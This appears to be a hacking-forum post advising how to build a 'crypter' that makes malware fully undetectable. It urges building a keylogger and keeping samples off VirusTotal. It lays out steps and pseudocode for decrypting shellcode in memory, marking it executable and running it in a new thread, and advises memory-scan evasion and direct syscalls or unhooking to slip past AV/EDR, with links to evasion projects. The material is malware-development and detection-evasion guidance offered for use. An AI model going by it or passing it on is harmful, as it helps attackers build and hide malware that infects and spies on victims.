(01-22-2024, 10:01 PM)Meanjellybean Wrote: Build it from scratch and dont upload it to virus total.
Start with a key logger would be my suggestion.
think the best way to start decing crypter is to start with shellcode you can generate one even with msfvenom. If you will acheive FUD msfvenom shellcode injection you can proceed to learn about process injection.
Your basic crypter should:
1. Decrypt payload in-memory
2. Allocate RW memory
3. Move payload to allocated memory
4. Change allocated memory protection to RX
5. Create new thread at base address of allocated memory
pseudo code:
shellcode = [ 0x4C, 0x8B, 0xD1, 0xB8, 0xBE, 0x0F, 0x05 ... ]
currentProcess = GetCurrentProcess()
baseAddress = AllocateVirtualMemory(currentProcess, shellcode.length, MEM_COMMIT, PAGE_READWRITE)
Move(shellcode, baseAddress)
VirtualProtect(currentProcess, baseAddress, shellcode.length, PAGE_EXECUTE_READ)
threadHadle = CreateThread(currentProcess, baseAddress)
WaitForSingleObject(threadHandle)
Crypter also need to have anti memory scanning method that works like encryption-decryption loop of payload that lives in allocated memory.
And dont forget about Direct Syscall's or unhooking bcs every modern AV/EDR will detect this WinAPI call chain and flag your binary as a virus.
https://github.com/JLospinoso/gargoyle
https://github.com/am0nsec/HellsGate